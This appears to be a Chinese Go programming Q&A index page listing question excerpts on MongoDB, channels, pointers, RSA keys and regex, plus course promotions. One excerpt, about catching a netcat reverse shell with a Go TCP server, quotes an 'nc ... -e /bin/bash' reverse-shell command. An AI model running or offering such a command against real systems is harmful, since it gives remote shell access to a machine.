Go问答技术文章
-
- golang模板json转yml格式
- 您好,我希望使用传递到我们的goapi的json数据创建以下格式的yml。zookeeper:configs:zookeeper_user:custom-userzookeeper_group:custom-groupzookeeper_copy_files:-source_path:/path/to/file.txtdestination_path:/tmp/file.txtz
- Golang · Go问答 | 2年前 | 355浏览 收藏
-
- 无法读取 RSA 密钥
- 我需要从文件中读入rsa私钥来签署jwt。我正在使用openssl生成私钥。解密私钥时出现长度太大错误opensslgenrsa-des3-outjwt-private.pem2048funcmain(){penbhytes:=`-----BEGINRSAPRIVATEKEY-----Proc-Type:4,ENCRYPTEDDEK-Info:DES-EDE3-CBC,A30B805A7CC6454DAOrhSmQZ
- Golang · Go问答 | 2年前 | 214浏览 收藏
-
- 如何确定 png“类型”(png8 / png24)
- 我正在使用image包来解码图像并确定其格式(例如jpg或png),但是我希望更深入,我想知道该png实际上是png8还是png24。使用go执行此操作的正确方法是什么?(更新1)目前我正在阅读能够解码图像的内容,我想知道如何从这里获取颜色模型:fname:="img.jpg"f,err:=os.Open(fname)_,format,err:=image.Decode(f)iferr!=nil{log.Fatal(err)
- Golang · Go问答 | 2年前 | 226浏览 收藏
-
- Golang无法在MongoDB中创建文档
- 我正在尝试将文档插入mongodb,但尽管成功连接到mongo,但我仍然收到以下错误:http:panicserving172.27.0.8:40176:runtimeerror:invalidmemoryaddressornilpointerdereference我正在初始化数据库连接的main.go看起来像这样funcmain(){//connecttomongomongoclient,err:=connecttomon
- Golang · Go问答 | 2年前 | 471浏览 收藏
-
- 尝试在 go 中计算 pi,我做错了什么?可能是数学问题?Cos?
- 我在直径为1的圆内画一个正方形,正方形的对角线就是圆的直径。然后,我使用余弦定律将这个正方形分成4个直角三角形,并且知道三角形上a和b的长度为0.5,我创建了4个三角形,其斜边加在一起形成了正方形的周长。给我们方程周长=边数*(a^2+b^2-2abcos(360/边数))通过增加该形状的边数,周长越来越接近圆的周长(3.14)。我之前在python中做过这个,并且它有效,但是在度数上使用余弦定律而不是在python中使用rad时出现了一个问题,这
- Golang · Go问答 | 2年前 | 230浏览 收藏
-
- 仅从 go 例程中的 Println 接收通道会引发死锁异常
- 我有一些代码,我试图使用fmt.println打印goroutine中通道的内容。这是代码的简化版本。packagemainimport"fmt"import"time"funcmain(){ch:=make(chanint)gofmt.println(
- Golang · Go问答 | 2年前 | 434浏览 收藏
-
- 如何捕获 netcat 反向 shell?
- 我正在go中开发tcp服务器。tcp服务器需要能够捕获来自netcat的反向shell:$nc127.0.0.18080-e/bin/bash我应该能够发送命令并接收响应;但是,我的服务器在收到连接时似乎挂起。我认为问题出在bufio.newreader(conn).readstring('\n')行,但我不知道如何修复它。您能提供任何解决方案吗,谢谢?服务器代码(注意:为简洁起见,省略了错误处理):funcmain(){ln,_
- Golang · Go问答 | 2年前 | 154浏览 收藏
-
- 如何在 Go 和 gRPC 中构建结构体数组?
-
我正在尝试将字符串数组添加到结构的内容部分中,并以id作为数组索引。我的代码适用于一个元素,但当我尝试添加循环时出现各种错误。欢迎任何想法。我正在使用go。funcbuildRequest(s[]string)[]*storepb.LongStoreRequest{//ss:=[]storepb.LongStoreRequest//int32i=0stringv:=s[0]//fori:=0;i
- Golang · Go问答 | 2年前 | 452浏览 收藏
-
- 如何在golang中编写bson形式的mongo查询?
- 我可以使用命令行查询查询我的mongodb集合,以根据nftype和最小距离获取ipv4addressesdb.nfinstancesdb.aggregate([{"$match":{"nftype":"amf"}},{"$unwind":"$ipv4addresses"},{$group:{"_id":"$distance","ipv4addresses":{
- Golang · Go问答 | 2年前 | 256浏览 收藏
-
- 单元测试超级账本结构链代码 (GetPrivateData)
- 有没有办法在超级账本结构链代码中对私有数据进行单元测试?我找到了没有私有数据的链码测试文件。链码测试
- Golang · Go问答 | 2年前 | 192浏览 收藏
-
- 当 p 是指针时,Go 中的 p 和 &p 有什么区别?
- 我知道go指针的地址有什么不同。varint*a=new(int)我可以像这样定义指针变量。当我检查这个变量的地址时,我发现了另一个地址。fmt.Println(a,&a)我想知道这些地址有什么区别。enter代码在这里
- Golang · Go问答 | 2年前 | 433浏览 收藏
-
- os.Getenv 和 os.LookupEnv 不返回 $HISTFILE、$HISTSIZE 和 $SAVEHIST 的值
- 我正在使用zsh,并且我正在尝试访问这些环境变量:$echo$histfile/home/amir/.zsh_history$echo$histsize50000$echo$savehist10000但是os.lookupenv返回"",对于所有三个都返回false,并且os.getenv自然返回一个空字符串:packagemainimport("fmt""os")funcmain(){histfile,foun
- Golang · Go问答 | 2年前 | 141浏览 收藏
-
- 在 golang 中显示和处理 Fyne 窗口
- 我试图让这个脚本能够在每次函数initconnection从服务器端接收到命令时显示gui(drawmessage)正如您所看到的,当接收到命令“showwindow”时,此脚本会从funcinitconnection()调用drawmessage(),此代码只能正常工作第一次接收命令并关闭gui当我尝试再次发送命令时没有弹出窗口如何让它每次收到命令都有响应?packagemainimport("fyne.io/fyne/canvas""fyne.io
- Golang · Go问答 | 2年前 | 307浏览 收藏
-
- 如何在字符之间查找和替换
- 我正在尝试将以下字符串中的第二个“AND”替换为“OR”:country=="BR"AND(leftHour>=6ANDrightHour<24)我的策略是使用正则表达式执行此操作:\((.*)\)但这匹配括号之间的所有字符,我只想匹配两个括号之间的AND。在Go中就很完美,但好的正则表达式就足够了。编辑:字符串不是固定的,我们可以在前面有多个“AND”,例如:currency=="USD"AND国家=="BR"AND(leftHour>=
- Golang · Go问答 | 2年前 | 105浏览 收藏
-
- Go 到什么阶段我必须返回错误?
- 我正在使用go和gingonic来测试和练习go中的一些基础知识。我首先已经做了一些语法和基础练习。我有一个main.go(使用gingonic),在其中定义像r.get(/todo,handler)这样的路径。我有一个hander.go,其中我描述了如下处理程序:funcgettodolisthandler(c*gin.context){c.json(http.statusok,todo.get())}最后我有一些todo/todo.go
- Golang · Go问答 | 2年前 | 363浏览 收藏
查看更多
课程推荐
-
- 前端进阶之JavaScript设计模式
- 设计模式是开发人员在软件开发过程中面临一般问题时的解决方案,代表了最佳的实践。本课程的主打内容包括JS常见设计模式以及具体应用场景,打造一站式知识长龙服务,适合有JS基础的同学学习。
- 543次学习
-
- GO语言核心编程课程
- 本课程采用真实案例,全面具体可落地,从理论到实践,一步一步将GO核心编程技术、编程思想、底层实现融会贯通,使学习者贴近时代脉搏,做IT互联网时代的弄潮儿。
- 516次学习
-
- 简单聊聊mysql8与网络通信
- 如有问题加微信:Le-studyg;在课程中,我们将首先介绍MySQL8的新特性,包括性能优化、安全增强、新数据类型等,帮助学生快速熟悉MySQL8的最新功能。接着,我们将深入解析MySQL的网络通信机制,包括协议、连接管理、数据传输等,让
- 500次学习
-
- JavaScript正则表达式基础与实战
- 在任何一门编程语言中,正则表达式,都是一项重要的知识,它提供了高效的字符串匹配与捕获机制,可以极大的简化程序设计。
- 487次学习
-
- 从零制作响应式网站—Grid布局
- 本系列教程将展示从零制作一个假想的网络科技公司官网,分为导航,轮播,关于我们,成功案例,服务流程,团队介绍,数据部分,公司动态,底部信息等内容区块。网站整体采用CSSGrid布局,支持响应式,有流畅过渡和展现动画。
- 485次学习
-
- Golang深入理解GPM模型
- Golang深入理解GPM调度器模型及全场景分析,希望您看完这套视频有所收获;包括调度器的由来和分析、GMP模型简介、以及11个场景总结。
- 474次学习
查看更多
AI推荐
-
- PubMedQA
- 深入了解PubMedQA生物医学问答数据集,涵盖其核心功能、使用方法及在临床决策、药物研发等场景的应用,助力提升NLP模型性能。
- 497次使用
-
- H2O EvalGPT
- H2O EvalGPT是H2O.ai推出的开源LLM评估平台,提供详细的大模型性能排行榜、行业特定基准测试及A/B测试功能,助您快速选择最适合项目的高性能大语言模型。
- 554次使用
-
- LMArena
- LMArena是加州大学伯克利分校推出的AI模型匿名评测平台。通过盲测投票机制,用户可对比不同大模型回答并生成实时排行榜,助力开发者优化模型及用户选择最佳AI工具。
- 580次使用
-
- HELM
- 深入了解斯坦福推出的HELM(Holistic Evaluation of Language Models)大模型评测体系。本文解析其核心功能、安装配置步骤及应用场景,涵盖准确性、公平性、鲁棒性等多维度指标,助力开发者全面优化语言模型性能。
- 533次使用
-
- MMBench
- MMBench是由上海人工智能实验室等机构联合推出的多模态基准测试平台,提供细粒度能力评估、大规模数据集及VLMEvalKit工具。本文详细介绍其核心功能、安装使用方法及应用场景,助力开发者全面评估多模态模型性能。
- 346次使用

